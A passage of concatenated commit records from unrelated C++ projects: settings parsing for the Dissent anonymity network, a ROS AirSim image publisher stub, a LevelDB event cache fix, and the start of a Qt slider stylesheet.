options->add(Param<Params::Auth>(),\n \"bool, enable or disable authentication\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::RoundType>(),\n \"the type of round\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Log>(),\n \"logging mechanism: stderr, stdout, or a file path\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Console>(),\n \"enable console\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::WebServerUrl>(),\n \"web server url (enables web server)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::EntryTunnelUrl>(),\n \"entry tunnel url (enables entry tunnel)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::ExitTunnel>(),\n \"enables exit tunnel\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::ExitTunnelProxyUrl>(),\n \"enables redirecting to a proxy at the end of an exit tunnel\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Multithreading>(),\n \"enables multithreading\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::LocalId>(),\n \"one or more 160-bit base64 local id\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::ServerIds>(),\n \"one or more 160-bit base64 server id\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::PrivateKeys>(),\n \"a path to a directory containing private keys\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::PublicKeys>(),\n \"a path to a directory containing public keys (public keys end in \\\".pub\\\"\",\n QxtCommandOptions::ValueRequired);\n\n return options;\n }\n}\n}\n<commit_msg>[Applications] For some reason this has help set to true by default<commit_after>#include \"Transports\/AddressFactory.hpp\"\n#include \"Utils\/Logging.hpp\"\n\n#include \"Settings.hpp\"\n\nusing Dissent::Utils::Logging;\n\nnamespace Dissent {\nnamespace Applications {\n Settings::Settings(const QString &file, bool actions) :\n _use_file(true),\n _settings(new QSettings(file, QSettings::IniFormat))\n {\n Init(actions);\n }\n\n Settings::Settings() :\n _use_file(false),\n _settings(new QSettings())\n {\n _settings->clear();\n Init();\n }\n\n Settings::Settings(const QSharedPointer<QSettings> &settings,\n bool file, bool actions) :\n _use_file(file),\n _settings(settings)\n {\n Init(actions);\n }\n\n void Settings::Init(bool actions)\n {\n if(_settings->value(Param<Params::Help>(), false).toBool()) {\n Help = true;\n return;\n }\n Help = false;\n\n QVariant remote = _settings->value(Param<Params::RemoteEndPoints>());\n RemoteEndPoints = ParseAddressList(\"RemoteEndPoints\", remote);\n\n QVariant local = _settings->value(Param<Params::LocalEndPoints>());\n LocalEndPoints = ParseAddressList(\"EndPoint\", local);\n\n Auth = _settings->value(Param<Params::Auth>(), true).toBool();\n LocalNodeCount = _settings->value(Param<Params::LocalNodeCount>(), 1).toInt();\n Console = _settings->value(Param<Params::Console>(), false).toBool();\n ExitTunnel = _settings->value(Param<Params::ExitTunnel>(), false).toBool();\n Multithreading = _settings->value(Param<Params::Multithreading>(), false).toBool();\n\n WebServerUrl = TryParseUrl(_settings->value(Param<Params::WebServerUrl>()).toString(), \"http\");\n WebServer = WebServerUrl != QUrl();\n\n EntryTunnelUrl = TryParseUrl(_settings->value(Param<Params::EntryTunnelUrl>()).toString(), \"tcp\");\n EntryTunnel = EntryTunnelUrl != QUrl();\n\n ExitTunnelProxyUrl = TryParseUrl(_settings->value(Param<Params::ExitTunnelProxyUrl>()).toString(), \"tcp\");\n ExitTunnel = (ExitTunnelProxyUrl != QUrl()) || ExitTunnel;\n\n if(_settings->contains(Param<Params::RoundType>())) {\n QString stype = _settings->value(Param<Params::RoundType>()).toString();\n RoundType = Anonymity::RoundFactory::GetRoundType(stype);\n } else {\n RoundType = Anonymity::RoundFactory::NULL_ROUND;\n }\n\n Log = _settings->value(Param<Params::Log>(), \"null\").toString();\n\n QString log_lower = Log.toLower();\n if(actions) {\n if(log_lower == \"stderr\") {\n Logging::UseStderr();\n } else if(log_lower == \"stdout\") {\n Logging::UseStdout();\n } else if(log_lower == \"null\" || log_lower.isEmpty()) {\n Logging::Disable();\n } else {\n Logging::UseFile(Log);\n }\n }\n\n if(_settings->contains(Param<Params::LocalId>())) {\n LocalId = ParseIdList(_settings->value(Param<Params::LocalId>()));\n }\n\n if(_settings->contains(Param<Params::ServerIds>())) {\n ServerIds = ParseIdList(_settings->value(Param<Params::ServerIds>()));\n }\n\n PublicKeys = _settings->value(Param<Params::PublicKeys>()).toString();\n PrivateKeys = _settings->value(Param<Params::PrivateKeys>()).toString();\n }\n\n bool Settings::IsValid()\n {\n if(_use_file && (_settings->status() != QSettings::NoError)) {\n _reason = \"File error\";\n return false;\n }\n\n if(!LocalEndPoints.count()) {\n _reason = \"No local end points\";\n return false;\n }\n\n if(WebServer && (!WebServerUrl.isValid() || WebServerUrl.isEmpty())) {\n _reason = \"Invalid WebServerUrl: \" + WebServerUrl.toString();\n return false;\n }\n\n if(EntryTunnel && (!EntryTunnelUrl.isValid() || EntryTunnelUrl.isEmpty())) {\n _reason = \"Invalid EntryTunnelUrl: \" + EntryTunnelUrl.toString();\n return false;\n }\n\n if(!ServerIds.count()) {\n _reason = \"No server Ids\";\n return false;\n }\n\n if(Auth && (LocalId.count() != LocalNodeCount)) {\n _reason = QString(\"Insufficient local ids, found %1, expected %2.\").\n arg(LocalId.count()).arg(LocalNodeCount);\n return false;\n }\n\n if(RoundType == Anonymity::RoundFactory::INVALID) {\n _reason = \"Invalid round type: \" +\n _settings->value(Param<Params::RoundType>()).toString();\n return false;\n }\n\n return true;\n }\n\n QString Settings::GetError()\n {\n IsValid();\n return _reason;\n }\n\n QList<Transports::Address> Settings::ParseAddressList(const QString &name,\n const QVariant &values)\n {\n QList<Transports::Address> list;\n if(values.isNull()) {\n return list;\n }\n\n QVariantList varlist = values.toList();\n if(!varlist.empty()) {\n foreach(QVariant value, varlist) {\n list.append(Transports::AddressFactory::GetInstance().\n CreateAddress(ParseUrl(name, value)));\n }\n } else {\n list.append(Transports::AddressFactory::GetInstance().\n CreateAddress(ParseUrl(name, values)));\n }\n\n return list;\n }\n\n QUrl Settings::ParseUrl(const QString &name, const QVariant &value)\n {\n QUrl url(value.toString());\n if(!url.isValid()) {\n qFatal(\"Invalid %s: %s\", name.toLatin1().data(),\n value.toString().toLatin1().data());\n }\n return url;\n }\n\n QUrl Settings::TryParseUrl(const QString &string_rep, const QString &scheme)\n {\n QUrl url = QUrl(string_rep);\n if(url.toString() != string_rep) {\n return QUrl();\n }\n\n if(url.scheme() != scheme) {\n return QUrl();\n }\n return url;\n }\n\n QList<Connections::Id> Settings::ParseIdList(const QVariant &qids)\n {\n QList<Connections::Id> id_list;\n\n QVariantList ids = qids.toList();\n if(!ids.empty()) {\n foreach(const QVariant &id, ids) {\n id_list.append(Connections::Id(id.toString()));\n }\n } else {\n id_list.append(Connections::Id(qids.toString()));\n }\n\n return id_list;\n }\n\n void Settings::Save()\n {\n if(!_use_file) {\n return;\n }\n\n QStringList peers;\n foreach(const Transports::Address &addr, RemoteEndPoints) {\n peers << addr.ToString();\n }\n\n if(!peers.empty()) {\n _settings->setValue(Param<Params::RemoteEndPoints>(), peers);\n }\n\n QStringList endpoints;\n foreach(const Transports::Address &addr, LocalEndPoints) {\n endpoints << addr.ToString();\n }\n\n if(!endpoints.empty()) {\n _settings->setValue(Param<Params::LocalEndPoints>(), endpoints);\n }\n\n _settings->setValue(Param<Params::LocalNodeCount>(), LocalNodeCount);\n _settings->setValue(Param<Params::WebServerUrl>(), WebServerUrl);\n _settings->setValue(Param<Params::Console>(), Console);\n _settings->setValue(Param<Params::Auth>(), Auth);\n _settings->setValue(Param<Params::Log>(), Log);\n _settings->setValue(Param<Params::Multithreading>(), Multithreading);\n\n QVariantList local_ids;\n foreach(const Connections::Id &id, LocalId) {\n local_ids.append(id.ToString());\n }\n _settings->setValue(Param<Params::LocalId>(), local_ids);\n\n QVariantList server_ids;\n foreach(const Connections::Id &id, ServerIds) {\n server_ids.append(id.ToString());\n }\n _settings->setValue(Param<Params::ServerIds>(), server_ids);\n }\n\n Settings Settings::CommandLineParse(const QStringList ¶ms, bool actions)\n {\n QSharedPointer<QxtCommandOptions> options = GetOptions();\n options->parse(params);\n QSharedPointer<QSettings> settings;\n bool file = (options->positional().count() > 0);\n\n if(file) {\n settings = QSharedPointer<QSettings>(\n new QSettings(options->positional()[0], QSettings::IniFormat));\n } else {\n settings = QSharedPointer<QSettings>(new QSettings());\n \/\/ Bug in other platforms?? I do not know...\n settings->clear();\n if(params.size() == 1) {\n settings->setValue(Param<Params::Help>(), true);\n }\n }\n\n QMultiHash<QString, QVariant> kv_params = options->parameters();\n\n if(kv_params.value(Param<Params::Help>(), false).toBool() && file) {\n file = false;\n settings = QSharedPointer<QSettings>(new QSettings());\n }\n\n foreach(const QString &key, kv_params.uniqueKeys()) {\n if(options->value(key).type() == QVariant::String &&\n options->value(key).toString().isEmpty())\n {\n settings->setValue(key, true);\n } else {\n settings->setValue(key, options->value(key));\n }\n }\n\n return Settings(settings, file, actions);\n }\n\n QSharedPointer<QxtCommandOptions> Settings::GetOptions()\n {\n QSharedPointer<QxtCommandOptions> options(new QxtCommandOptions());\n\n options->add(Param<Params::Help>(),\n \"help (this screen)\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::RemoteEndPoints>(),\n \"list of remote end points\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalEndPoints>(),\n \"list of local end points\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalNodeCount>(),\n \"number of virtual nodes to start\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Auth>(),\n \"bool, enable or disable authentication\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::RoundType>(),\n \"the type of round\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Log>(),\n \"logging mechanism: stderr, stdout, or a file path\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Console>(),\n \"enable console\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::WebServerUrl>(),\n \"web server url (enables web server)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::EntryTunnelUrl>(),\n \"entry tunnel url (enables entry tunnel)\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::ExitTunnel>(),\n \"enables exit tunnel\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::ExitTunnelProxyUrl>(),\n \"enables redirecting to a proxy at the end of an exit tunnel\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::Multithreading>(),\n \"enables multithreading\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::LocalId>(),\n \"one or more 160-bit base64 local id\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::ServerIds>(),\n \"one or more 160-bit base64 server id\",\n QxtCommandOptions::ValueRequired);\n\n options->add(Param<Params::PrivateKeys>(),\n \"a path to a directory containing private keys\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::PublicKeys>(),\n \"a path to a directory containing public keys (public keys end in \\\".pub\\\"\",\n QxtCommandOptions::ValueRequired);\n\n return options;\n }\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file\n\/\/\/ @copyright Copyright (C) 2017, Jonathan Bryan Schmalhofer\n\/\/\/\n\/\/\/ @brief Node to cyclically publish buffered PNG images\n\/\/\/\n#include <string>\n#include <ros\/ros.h>\n#include <image_transport\/image_transport.h>\n\nsensor_msgs::Image airsim_image_left_msg, airsim_image_right_msg;\n\nint main(int argc, char **argv)\n{\n ros::init(argc, argv, \"airsim_to_ros_image_publisher_node\");\n ros::NodeHandle node_handle;\n \n ROS_INFO(\"Starting node\");\n\n image_transport::ImageTransport image_transport(node_handle);\n image_transport::Publisher left_stereoimage_chatter = image_transport.advertise(\"\/airsim\/left\/image_raw\", 1);\n image_transport::Publisher right_stereoimage_chatter = image_transport.advertise(\"\/airsim\/right\/image_raw\", 1);\n\n std::uint32_t last_sequence_sent = 0;\n while (ros::ok())\n {\n ROS_INFO(\"Waiting for data\");\n int8_t received_return_value = 0;\n if (1 == received_return_value)\n {\n switch (airsim_to_ros.GetImageType())\n {\n case 0: \/\/ Unknown\n break;\n case 1: \/\/ Left\n ROS_INFO(\"Left image received\");\n \/\/ Header\n airsim_image_left_msg.header.seq = airsim_to_ros.GetImageHeaderSeq();\n airsim_image_left_msg.header.stamp.sec = airsim_to_ros.GetImageHeaderStampSec();\n airsim_image_left_msg.header.stamp.nsec = airsim_to_ros.GetImageHeaderStampNsec();\n airsim_image_left_msg.header.frame_id = airsim_to_ros.GetImageHeaderFrameid();\n \/\/ Image\n airsim_image_left_msg.height = airsim_to_ros.GetImageHeight();\n airsim_image_left_msg.width = airsim_to_ros.GetImageWidth();\n airsim_image_left_msg.encoding = airsim_to_ros.GetImageEncoding();\n airsim_image_left_msg.is_bigendian = airsim_to_ros.GetImageIsBigendian();\n airsim_image_left_msg.step = airsim_to_ros.GetImageStep();\n airsim_image_left_msg.data.resize(airsim_to_ros.GetImageDataSize());\n memcpy((char*)(&airsim_image_left_msg.data[0]), airsim_to_ros.GetImageData(), airsim_to_ros.GetImageDataSize());\n break;\n case 2: \/\/ Right\n ROS_INFO(\"Right image received\");\n \/\/ Header\n airsim_image_right_msg.header.seq = airsim_to_ros.GetImageHeaderSeq();\n airsim_image_right_msg.header.stamp.sec = airsim_to_ros.GetImageHeaderStampSec();\n airsim_image_right_msg.header.stamp.nsec = airsim_to_ros.GetImageHeaderStampNsec();\n airsim_image_right_msg.header.frame_id = airsim_to_ros.GetImageHeaderFrameid();\n \/\/ Image\n airsim_image_right_msg.height = airsim_to_ros.GetImageHeight();\n airsim_image_right_msg.width = airsim_to_ros.GetImageWidth();\n airsim_image_right_msg.encoding = airsim_to_ros.GetImageEncoding();\n airsim_image_right_msg.is_bigendian = airsim_to_ros.GetImageIsBigendian();\n airsim_image_right_msg.step = airsim_to_ros.GetImageStep();\n airsim_image_right_msg.data.resize(airsim_to_ros.GetImageDataSize());\n memcpy((char*)(&airsim_image_right_msg.data[0]), airsim_to_ros.GetImageData(), airsim_to_ros.GetImageDataSize());\n break;\n default:\n break;\n }\n \n \/\/ TODO: Introduce Debug Mode\n ROS_INFO(\"Image received\");\n ROS_INFO(\" Image.header.seq %d\", airsim_to_ros.GetImageHeaderSeq());\n ROS_INFO(\" Image.header.stamp.sec %d\", airsim_to_ros.GetImageHeaderStampSec());\n ROS_INFO(\" Image.header.stamp.nsec %d\", airsim_to_ros.GetImageHeaderStampNsec());\n ROS_INFO(\" Image.header.frame_id %s\", airsim_to_ros.GetImageHeaderFrameid());\n ROS_INFO(\" Image.height %d\", airsim_to_ros.GetImageHeight());\n ROS_INFO(\" Image.width %d\", airsim_to_ros.GetImageWidth());\n ROS_INFO(\" Image.encoding %s\", airsim_to_ros.GetImageEncoding());\n ROS_INFO(\" Image.is_bigendian %d\", airsim_to_ros.GetImageIsBigendian());\n ROS_INFO(\" Image.step %d\", airsim_to_ros.GetImageStep());\n ROS_INFO(\" size(Image.data) %d\", airsim_to_ros.GetImageDataSize());\n \n if (\n airsim_image_left_msg.header.seq == airsim_image_right_msg.header.seq \n && airsim_image_left_msg.header.seq > last_sequence_sent\n )\n {\n ROS_INFO(\"Images forwarded\");\n left_stereoimage_chatter.publish(airsim_image_left_msg);\n right_stereoimage_chatter.publish(airsim_image_right_msg);\n }\n }\n else if (-1 == received_return_value)\n {\n ROS_INFO(\"Invalid Image received - did not forward\");\n }\n }\n\n return 0;\n}\n<commit_msg>bugfix for stub<commit_after>\/\/\/\n\/\/\/ @file\n\/\/\/ @copyright Copyright (C) 2017, Jonathan Bryan Schmalhofer\n\/\/\/\n\/\/\/ @brief Node to cyclically publish buffered PNG images\n\/\/\/\n#include <string>\n#include <ros\/ros.h>\n#include <image_transport\/image_transport.h>\n\nsensor_msgs::Image airsim_image_left_msg, airsim_image_right_msg;\n\nint main(int argc, char **argv)\n{\n ros::init(argc, argv, \"airsim_to_ros_image_publisher_node\");\n ros::NodeHandle node_handle;\n \n ROS_INFO(\"Starting node\");\n\n image_transport::ImageTransport image_transport(node_handle);\n image_transport::Publisher left_stereoimage_chatter = image_transport.advertise(\"\/airsim\/left\/image_raw\", 1);\n image_transport::Publisher right_stereoimage_chatter = image_transport.advertise(\"\/airsim\/right\/image_raw\", 1);\n\n std::uint32_t last_sequence_sent = 0;\n while (ros::ok())\n {\n ROS_INFO(\"Waiting for data\");\n int8_t received_return_value = 0;\n if (1 == received_return_value)\n {\n\/*\n switch (airsim_to_ros.GetImageType())\n {\n case 0: \/\/ Unknown\n break;\n case 1: \/\/ Left\n ROS_INFO(\"Left image received\");\n \/\/ Header\n airsim_image_left_msg.header.seq = airsim_to_ros.GetImageHeaderSeq();\n airsim_image_left_msg.header.stamp.sec = airsim_to_ros.GetImageHeaderStampSec();\n airsim_image_left_msg.header.stamp.nsec = airsim_to_ros.GetImageHeaderStampNsec();\n airsim_image_left_msg.header.frame_id = airsim_to_ros.GetImageHeaderFrameid();\n \/\/ Image\n airsim_image_left_msg.height = airsim_to_ros.GetImageHeight();\n airsim_image_left_msg.width = airsim_to_ros.GetImageWidth();\n airsim_image_left_msg.encoding = airsim_to_ros.GetImageEncoding();\n airsim_image_left_msg.is_bigendian = airsim_to_ros.GetImageIsBigendian();\n airsim_image_left_msg.step = airsim_to_ros.GetImageStep();\n airsim_image_left_msg.data.resize(airsim_to_ros.GetImageDataSize());\n memcpy((char*)(&airsim_image_left_msg.data[0]), airsim_to_ros.GetImageData(), airsim_to_ros.GetImageDataSize());\n break;\n case 2: \/\/ Right\n ROS_INFO(\"Right image received\");\n \/\/ Header\n airsim_image_right_msg.header.seq = airsim_to_ros.GetImageHeaderSeq();\n airsim_image_right_msg.header.stamp.sec = airsim_to_ros.GetImageHeaderStampSec();\n airsim_image_right_msg.header.stamp.nsec = airsim_to_ros.GetImageHeaderStampNsec();\n airsim_image_right_msg.header.frame_id = airsim_to_ros.GetImageHeaderFrameid();\n \/\/ Image\n airsim_image_right_msg.height = airsim_to_ros.GetImageHeight();\n airsim_image_right_msg.width = airsim_to_ros.GetImageWidth();\n airsim_image_right_msg.encoding = airsim_to_ros.GetImageEncoding();\n airsim_image_right_msg.is_bigendian = airsim_to_ros.GetImageIsBigendian();\n airsim_image_right_msg.step = airsim_to_ros.GetImageStep();\n airsim_image_right_msg.data.resize(airsim_to_ros.GetImageDataSize());\n memcpy((char*)(&airsim_image_right_msg.data[0]), airsim_to_ros.GetImageData(), airsim_to_ros.GetImageDataSize());\n break;\n default:\n break;\n }\n \n \/\/ TODO: Introduce Debug Mode\n ROS_INFO(\"Image received\");\n ROS_INFO(\" Image.header.seq %d\", airsim_to_ros.GetImageHeaderSeq());\n ROS_INFO(\" Image.header.stamp.sec %d\", airsim_to_ros.GetImageHeaderStampSec());\n ROS_INFO(\" Image.header.stamp.nsec %d\", airsim_to_ros.GetImageHeaderStampNsec());\n ROS_INFO(\" Image.header.frame_id %s\", airsim_to_ros.GetImageHeaderFrameid());\n ROS_INFO(\" Image.height %d\", airsim_to_ros.GetImageHeight());\n ROS_INFO(\" Image.width %d\", airsim_to_ros.GetImageWidth());\n ROS_INFO(\" Image.encoding %s\", airsim_to_ros.GetImageEncoding());\n ROS_INFO(\" Image.is_bigendian %d\", airsim_to_ros.GetImageIsBigendian());\n ROS_INFO(\" Image.step %d\", airsim_to_ros.GetImageStep());\n ROS_INFO(\" size(Image.data) %d\", airsim_to_ros.GetImageDataSize());\n*\/\n if (\n airsim_image_left_msg.header.seq == airsim_image_right_msg.header.seq \n && airsim_image_left_msg.header.seq > last_sequence_sent\n )\n {\n ROS_INFO(\"Images forwarded\");\n left_stereoimage_chatter.publish(airsim_image_left_msg);\n right_stereoimage_chatter.publish(airsim_image_right_msg);\n }\n }\n else if (-1 == received_return_value)\n {\n ROS_INFO(\"Invalid Image received - did not forward\");\n }\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Common.h\"\n#include \"CacheAdapters\/LevelDB.h\"\n#include \"SSEConfig.h\"\n#include \"SSEEvent.h\"\n\nusing namespace std;\n\n\/**\n Constructor.\n @param config SSEChannelConfig.\n**\/\nLevelDB::LevelDB(const ChannelConfig& config) : _config(config) {\n const string cachefile = _config.server->GetValue(\"leveldb.storageDir\") + \"\/\" + config.id + \".db\";\n LOG(INFO) << \"LevelDB storage file: \" << cachefile;\n InitDB(cachefile);\n}\n\n\/**\n Destructor.\n*\/\nLevelDB::~LevelDB() {\n leveldb_options_destroy(_options);\n leveldb_writeoptions_destroy(_woptions);\n leveldb_readoptions_destroy(_roptions);\n leveldb_close(_db);\n}\n\n\/**\n @param dbfile Path where we should create or load the database.\n**\/\nvoid LevelDB::InitDB(const string& dbfile) {\n char* err = NULL;\n\n _options = leveldb_options_create();\n _roptions = leveldb_readoptions_create();\n _woptions = leveldb_writeoptions_create();\n leveldb_options_set_create_if_missing(_options, 1);\n _db = leveldb_open(_options, dbfile.c_str(), &err);\n\n if (err != NULL) {\n LOG(FATAL) << \"Failed to open leveldb storage file: \" << err;\n leveldb_free(err);\n err = NULL;\n }\n\n LOG(INFO) << \"LevelDB::InitDB finished for \" << _config.id;\n}\n\n\/**\n Add event to cache.\n @patam event Pointer to SSEEvent to cache.\n**\/\nvoid LevelDB::CacheEvent(SSEEvent* event) {\n char* err = NULL;\n\n leveldb_put(_db, _woptions, event->getid().c_str(), event->getid().length(), \n event->get().c_str(), event->get().length(), &err);\n\n if (err != NULL) {\n LOG(ERROR) << \"Failed to cache event with id \" << event->getid() << \": \" << err;\n leveldb_free(err);\n return;\n }\n\n if (GetSizeOfCachedEvents() > _config.cacheLength) {\n size_t klen;\n char *err = NULL;\n leveldb_iterator_t* it = leveldb_create_iterator(_db, _roptions);\n\n leveldb_iter_seek_to_first(it);\n const string key = leveldb_iter_key(it, &klen);\n\n leveldb_delete(_db, _woptions, key.c_str(), klen, &err);\n\n if (err != NULL) {\n LOG(ERROR) << \"Failed to delete key \" << key << \": \" << err;\n leveldb_free(err);\n } else {\n DLOG(INFO) << \"Deleted key \" << key;\n }\n\n leveldb_iter_destroy(it);\n }\n}\n\n\/**\n Get a list of all events since a givend ID.\n @param lastId ID of first event.\n**\/\ndeque<string> LevelDB::GetEventsSinceId(string lastId) {\n deque<string> events;\n leveldb_iterator_t* it;\n leveldb_readoptions_t* readopts;\n const leveldb_snapshot_t* snapshot;\n\n snapshot = leveldb_create_snapshot(_db);\n readopts = leveldb_readoptions_create();\n leveldb_readoptions_set_snapshot(readopts, snapshot); \n\n it = leveldb_create_iterator(_db, readopts);\n\n for (leveldb_iter_seek(it, lastId.c_str(), lastId.length()); \n leveldb_iter_valid(it); leveldb_iter_next(it)) {\n size_t vlen;\n const char* val = leveldb_iter_value(it, &vlen);\n events.push_back(val);\n }\n\n leveldb_iter_destroy(it);\n leveldb_release_snapshot(_db, snapshot);\n leveldb_readoptions_destroy(readopts);\n return events;\n}\n\n\/**\n Get a list of all events stored in the cache.\n**\/\ndeque<string> LevelDB::GetAllEvents() {\n deque<string> events;\n leveldb_iterator_t* it;\n leveldb_readoptions_t* readopts;\n const leveldb_snapshot_t* snapshot;\n\n snapshot = leveldb_create_snapshot(_db);\n readopts = leveldb_readoptions_create();\n leveldb_readoptions_set_snapshot(readopts, snapshot); \n\n it = leveldb_create_iterator(_db, readopts);\n \n for (leveldb_iter_seek_to_first(it); leveldb_iter_valid(it); leveldb_iter_next(it)) {\n size_t vlen;\n const char* val = leveldb_iter_value(it, &vlen);\n events.push_back(val);\n }\n\n leveldb_iter_destroy(it);\n leveldb_release_snapshot(_db, snapshot);\n leveldb_readoptions_destroy(readopts);\n\n return events;\n}\n\n\/**\n Get number of events currently stored in the cache.\n**\/\nint LevelDB::GetSizeOfCachedEvents() {\n leveldb_iterator_t* it;\n leveldb_readoptions_t* readopts;\n const leveldb_snapshot_t* snapshot;\n int n_keys;\n\n snapshot = leveldb_create_snapshot(_db);\n readopts = leveldb_readoptions_create();\n it = leveldb_create_iterator(_db, readopts);\n \n leveldb_iter_seek_to_first(it);\n for(n_keys = 0; leveldb_iter_valid(it); leveldb_iter_next(it)) {\n n_keys++;\n }\n\n leveldb_iter_destroy(it);\n leveldb_release_snapshot(_db, snapshot);\n leveldb_readoptions_destroy(readopts);\n\n return n_keys;\n}\n<commit_msg>Make room for the null terminator when storing events in the LevelDB cache.<commit_after>#include \"Common.h\"\n#include \"CacheAdapters\/LevelDB.h\"\n#include \"SSEConfig.h\"\n#include \"SSEEvent.h\"\n\nusing namespace std;\n\n\/**\n Constructor.\n @param config SSEChannelConfig.\n**\/\nLevelDB::LevelDB(const ChannelConfig& config) : _config(config) {\n const string cachefile = _config.server->GetValue(\"leveldb.storageDir\") + \"\/\" + config.id + \".db\";\n LOG(INFO) << \"LevelDB storage file: \" << cachefile;\n InitDB(cachefile);\n}\n\n\/**\n Destructor.\n*\/\nLevelDB::~LevelDB() {\n leveldb_options_destroy(_options);\n leveldb_writeoptions_destroy(_woptions);\n leveldb_readoptions_destroy(_roptions);\n leveldb_close(_db);\n}\n\n\/**\n @param dbfile Path where we should create or load the database.\n**\/\nvoid LevelDB::InitDB(const string& dbfile) {\n char* err = NULL;\n\n _options = leveldb_options_create();\n _roptions = leveldb_readoptions_create();\n _woptions = leveldb_writeoptions_create();\n leveldb_options_set_create_if_missing(_options, 1);\n _db = leveldb_open(_options, dbfile.c_str(), &err);\n\n if (err != NULL) {\n LOG(FATAL) << \"Failed to open leveldb storage file: \" << err;\n leveldb_free(err);\n err = NULL;\n }\n\n LOG(INFO) << \"LevelDB::InitDB finished for \" << _config.id;\n}\n\n\/**\n Add event to cache.\n @patam event Pointer to SSEEvent to cache.\n**\/\nvoid LevelDB::CacheEvent(SSEEvent* event) {\n char* err = NULL;\n\n leveldb_put(_db, _woptions, event->getid().c_str(), event->getid().length()+1,\n event->get().c_str(), event->get().length()+1, &err);\n\n if (err != NULL) {\n LOG(ERROR) << \"Failed to cache event with id \" << event->getid() << \": \" << err;\n leveldb_free(err);\n return;\n }\n\n if (GetSizeOfCachedEvents() > _config.cacheLength) {\n size_t klen;\n char *err = NULL;\n leveldb_iterator_t* it = leveldb_create_iterator(_db, _roptions);\n\n leveldb_iter_seek_to_first(it);\n const string key = leveldb_iter_key(it, &klen);\n\n leveldb_delete(_db, _woptions, key.c_str(), klen, &err);\n\n if (err != NULL) {\n LOG(ERROR) << \"Failed to delete key \" << key << \": \" << err;\n leveldb_free(err);\n } else {\n DLOG(INFO) << \"Deleted key \" << key;\n }\n\n leveldb_iter_destroy(it);\n }\n}\n\n\/**\n Get a list of all events since a givend ID.\n @param lastId ID of first event.\n**\/\ndeque<string> LevelDB::GetEventsSinceId(string lastId) {\n deque<string> events;\n leveldb_iterator_t* it;\n leveldb_readoptions_t* readopts;\n const leveldb_snapshot_t* snapshot;\n\n snapshot = leveldb_create_snapshot(_db);\n readopts = leveldb_readoptions_create();\n leveldb_readoptions_set_snapshot(readopts, snapshot); \n\n it = leveldb_create_iterator(_db, readopts);\n\n for (leveldb_iter_seek(it, lastId.c_str(), lastId.length()); \n leveldb_iter_valid(it); leveldb_iter_next(it)) {\n size_t vlen;\n const char* val = leveldb_iter_value(it, &vlen);\n events.push_back(val);\n }\n\n leveldb_iter_destroy(it);\n leveldb_release_snapshot(_db, snapshot);\n leveldb_readoptions_destroy(readopts);\n return events;\n}\n\n\/**\n Get a list of all events stored in the cache.\n**\/\ndeque<string> LevelDB::GetAllEvents() {\n deque<string> events;\n leveldb_iterator_t* it;\n leveldb_readoptions_t* readopts;\n const leveldb_snapshot_t* snapshot;\n\n snapshot = leveldb_create_snapshot(_db);\n readopts = leveldb_readoptions_create();\n leveldb_readoptions_set_snapshot(readopts, snapshot); \n\n it = leveldb_create_iterator(_db, readopts);\n \n for (leveldb_iter_seek_to_first(it); leveldb_iter_valid(it); leveldb_iter_next(it)) {\n size_t vlen;\n const char* val = leveldb_iter_value(it, &vlen);\n events.push_back(val);\n }\n\n leveldb_iter_destroy(it);\n leveldb_release_snapshot(_db, snapshot);\n leveldb_readoptions_destroy(readopts);\n\n return events;\n}\n\n\/**\n Get number of events currently stored in the cache.\n**\/\nint LevelDB::GetSizeOfCachedEvents() {\n leveldb_iterator_t* it;\n leveldb_readoptions_t* readopts;\n const leveldb_snapshot_t* snapshot;\n int n_keys;\n\n snapshot = leveldb_create_snapshot(_db);\n readopts = leveldb_readoptions_create();\n it = leveldb_create_iterator(_db, readopts);\n \n leveldb_iter_seek_to_first(it);\n for(n_keys = 0; leveldb_iter_valid(it); leveldb_iter_next(it)) {\n n_keys++;\n }\n\n leveldb_iter_destroy(it);\n leveldb_release_snapshot(_db, snapshot);\n leveldb_readoptions_destroy(readopts);\n\n return n_keys;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"slider.h\"\n#include \"qdebug.h\"\n\nSlider::Slider(QWidget * parent) : QSlider(parent) {\n setStyleSheet(QString(\n \"QSlider::groove {\"\n \"border: 1px solid #bbb;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::groove:horizontal {\"\n \"height: 18px;\"\n \"}\"\n\n \"QSlider::groove:vertical {\"\n \"width: 18px;\"\n \"}\"\n\n \"QSlider::sub-page:horizontal {\"\n \"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #000, stop: 1 #777);\"\n \"background: qlineargradient(x1: 0, y1: 0.5, x2: 1, 